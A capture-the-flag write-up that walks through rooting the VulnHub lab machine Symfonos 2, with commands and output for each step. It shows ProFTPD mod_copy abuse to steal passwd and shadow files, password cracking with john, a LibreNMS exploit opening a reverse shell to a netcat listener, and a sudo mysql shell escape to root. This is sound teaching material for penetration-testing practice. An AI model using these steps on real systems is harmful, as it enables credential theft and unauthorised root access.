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Symfonos Two – Writeup

Details

This machine is https://www.vulnhub.com/entry/symfonos-2,331/

Recon Phase

First a host discovery scan

    root@kali:~# nmap -sn 192.168.56.0/24
    Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-24 05:38 EDT
    mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
    Nmap scan report for 192.168.56.1
    Host is up (0.00019s latency).
    MAC Address: 0A:00:27:00:00:0D (Unknown)
    Nmap scan report for 192.168.56.100
    Host is up (0.00031s latency).
    MAC Address: 08:00:27:25:FE:10 (Oracle VirtualBox virtual NIC)
    Nmap scan report for 192.168.56.103
    Host is up (0.00030s latency).
    MAC Address: 08:00:27:DC:F6:83 (Oracle VirtualBox virtual NIC)
    Nmap scan report for 192.168.56.101
    Host is up.
    Nmap done: 256 IP addresses (4 hosts up) scanned in 1.56 seconds

Then a service discovery scan

    root@kali:~# nmap -sV -p- 192.168.56.103
    Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-24 05:38 EDT
    mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
    Nmap scan report for 192.168.56.103
    Host is up (0.000087s latency).
    Not shown: 65530 closed ports
    PORT    STATE SERVICE     VERSION
    21/tcp  open  ftp         ProFTPD 1.3.5
    22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
    80/tcp  open  http        WebFS httpd 1.21
    139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
    445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
    MAC Address: 08:00:27:DC:F6:83 (Oracle VirtualBox virtual NIC)
    Service Info: Host: SYMFONOS2; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 13.16 seconds

Shell Hunting

    root@kali:~# smbmap -H 192.168.56.103
    [+] Finding open SMB ports....
    [+] Guest SMB session established on 192.168.56.103...
    [+] IP: 192.168.56.103:445  Name: 192.168.56.103
      Disk                                                    Permissions
      ----                                                    -----------
      print$                                              NO ACCESS
      anonymous                                           READ ONLY
      IPC$                                                NO ACCESS

So I try to mount it 

    root@kali:~# mount -v //192.168.56.103/anonymous /tmp/mounted
    Password for root@//192.168.56.103/anonymous:

I just hit enter

    mount.cifs kernel mount options: ip=192.168.56.103,unc=\\192.168.56.103\anonymous,user=root,pass=********

And I got to check it

    root@kali:~# cd /tmp/mounted

    root@kali:/tmp/mounted# ls -la
    drwxr-xr-x  2 root root     0 Jul 18 10:30 .
    drwxrwxrwt 14 root root 12288 Aug 24 05:42 ..
    drwxr-xr-x  2 root root     0 Jul 18 10:25 backups

    root@kali:/tmp/mounted# cd backups/

    root@kali:/tmp/mounted/backups# ls -la
    drwxr-xr-x 2 root root     0 Jul 18 10:25 .
    drwxr-xr-x 2 root root     0 Jul 18 10:30 ..
    -rwxr-xr-x 1 root root 11394 Jul 18 10:25 log.txt

    root@kali:/tmp/mounted/backups# cat log.txt
    [SNIP]

This contained some interesting things 

    root@symfonos2:~# cat /etc/shadow > /var/backups/shadow.bak
    [SNIP]
    [anonymous]
       path = /home/aeolus/share
       browseable = yes
       read only = yes
       guest ok = yes
    [SNIP]
    User        aeolus
    Group       aeolus
    [SNIP]

This leaked some info, a user called aeolus, a backup shadow file and the location of the share on disk. So I checked the webserver next, http://192.168.56.103

Screenshot 1

This led me back to a potential ftp exploit, CVE-2015-3306 https://www.exploit-db.com/exploits/36803, the example exploit didn’t work, so I decided to test it manually

    root@kali:~# ftp 192.168.56.103
    Connected to 192.168.56.103.
    220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.56.103]
    Name (192.168.56.103:root):

Entered 

    anonymous
    331 Anonymous login ok, send your complete email address as your password
    Password:

Just hit enter

    530 Login incorrect.
    Login failed.
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp>

So I test copying the passwd file to the web server

    ftp> site cpfr /etc/passwd
    350 File or directory exists, ready for destination name

    ftp> site cpto /var/www/html/test.php
    550 cpto: Permission denied

The copy failed, that’s why the exploit didn’t work. But I can also read from the samba share, so I’ll see if I can copy things there 

    ftp> site cpfr /etc/passwd
    350 File or directory exists, ready for destination name

    ftp> site cpto /home/aeolus/share/passwd
    250 Copy successful

I have the share mounted, so I check it 

    root@kali:/tmp/mounted# ls -la
    drwxr-xr-x  2 root root     0 Aug 25  2019 .
    drwxrwxrwt 15 root root 12288 Aug 25 12:06 ..
    drwxr-xr-x  2 root root     0 Jul 18 10:25 backups
    -rwxr-xr-x  1 root root  1614 Aug 25  2019 passwd

So I also know there is a copy of the shadow file I can steal now

    ftp> site cpfr /var/backups/shadow.bak
    350 File or directory exists, ready for destination name

    ftp> site cpto /home/aeolus/share/shadow
    250 Copy successful

    root@kali:/tmp/mounted# ls -la
    drwxr-xr-x  2 root root     0 Aug 25  2019 .
    drwxrwxrwt 15 root root 12288 Aug 25 12:06 ..
    drwxr-xr-x  2 root root     0 Jul 18 10:25 backups
    -rwxr-xr-x  1 root root  1614 Aug 25  2019 passwd
    -rwxr-xr-x  1 root root  1173 Aug 25  2019 shadow

So I’ll set john on the shadow to crack the passwords 

    root@kali:~# john shadow --wordlist=/usr/share/wordlists/rockyou.txt
    Created directory: /root/.john
    Using default input encoding: UTF-8
    Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
    Cost 1 (iteration count) is 5000 for all loaded hashes
    Will run 4 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    sergioteamo      (aeolus)

So I’ll try it on ssh

    root@kali:~# ssh [email protected]
    aeolus@symfonos2:~$

Root Hunting

So I have a shell, and I dug around for a bit 

    aeolus@symfonos2:~$ ss -lt
    State      Recv-Q Send-Q                                     Local
    [SNIP]
    LISTEN     0      128                                            127.0.0.1:http-alt                                                             *:*
    [SNIP]

There is another webserver on port 8080 only listening on localhost, I can forward it out with socat

    aeolus@symfonos2:/opt$ socat TCP-LISTEN:8888,fork,reuseaddr TCP:127.0.0.1:8080 &

Off to check it http://192.168.56.103:8888

Screenshot 2

I logged in using 

    aeolus:sergioteamo

Screenshot 3

I found an exploit on exploitdb https://www.exploit-db.com/raw/47044, so I set a listener

    root@kali:~# nc -nlvp 4444

    root@kali:~# python ./exploit.py http://192.168.56.103:8888 "librenms_session=eyJpdiI6Iko3bmd6dUdDZFpvOXMzUUl5NFwvTnRRPT0iLCJ2YWx1ZSI6InNJVExyM0lCZ2Q4NThBUklPRk5xRlRaVXNlNzA3SW9wUE9WdmMreDNoWUk2SzdpYmVIcXozR1NUZVF4SmxJXC95RGtDczdiSkpPR3EwaUxzQ1BzQUtlQT09IiwibWFjIjoiNTkxZjljZDllN2MwNGRkMzhlOGI1Y2U0ZTRmNGI5NDc1M2QyYmZjM2I0NjI1OGY4YzQwZjdiMTRlMTIzYjJmZCJ9;XSRF-TOKEN=eyJpdiI6IndJZlhhck5pZlc0R2JuY0FHRklmXC93PT0iLCJ2YWx1ZSI6IkNuYlVVTitCM3ErWmFlMTc2dnlVXC9RTCtHUnE2Q1p2SGFEZjhURUtpTys3Qkh0TkZTOUd5K1ZncEdlUGRnZUo1K0JjVVFMZ0lNVXJQaUdIbU9ncE91dz09IiwibWFjIjoiNWVjNDAxNDFmOGU1NGE3MDBlNTQ3OTQwZWM0ODk0ZGM0ZTllMGFmNmQ4NDYzZjE5ZTZlNjhkZGZmYTk0YTBjNyJ9;PHPSESSID=jiiebm82elga5cggvne8tisvm7" 192.168.56.101 4444
    [+] Device Created Sucssfully

In the listener

    connect to [192.168.56.101] from (UNKNOWN) [192.168.56.103] 53862
     /bin/sh: 0: can't access tty; job control turned off
     $

A new shell 

    $ id
    uid=1001(cronus) gid=1001(cronus) groups=1001(cronus),999(librenms)

    $ python -c "import pty;pty.spawn('/bin/bash')"
    cronus@symfonos2:/opt/librenms/html$

    cronus@symfonos2:/home/cronus$ sudo -l
    Matching Defaults entries for cronus on symfonos2:
        env_reset, mail_badpass,
        secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

    User cronus may run the following commands on symfonos2:
        (root) NOPASSWD: /usr/bin/mysql

I can pop a shell with this 

    cronus@symfonos2:/home/cronus$ sudo mysql -e '\! /bin/sh'
    #

A new shell popped 

    # id
    uid=0(root) gid=0(root) groups=0(root)

    # cd /root
    # ls -la
    drwx------  4 root root 4096 Jul 18 12:13 .
    drwxr-xr-x 22 root root 4096 Jul 18 02:31 ..
    lrwxrwxrwx  1 root root    9 Jul 18 07:52 .bash_history -> /dev/null
    -rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
    drwxr-xr-x  3 root root 4096 Jul 18 06:58 .config
    drwxr-xr-x  3 root root 4096 Jul 18 06:58 .local
    -rw-r--r--  1 root root  148 Aug 17  2015 .profile
    -rw-------  1 root root 1444 Jul 18 09:36 proof.txt
    # cat proof.txt

    Congrats on rooting symfonos:2!

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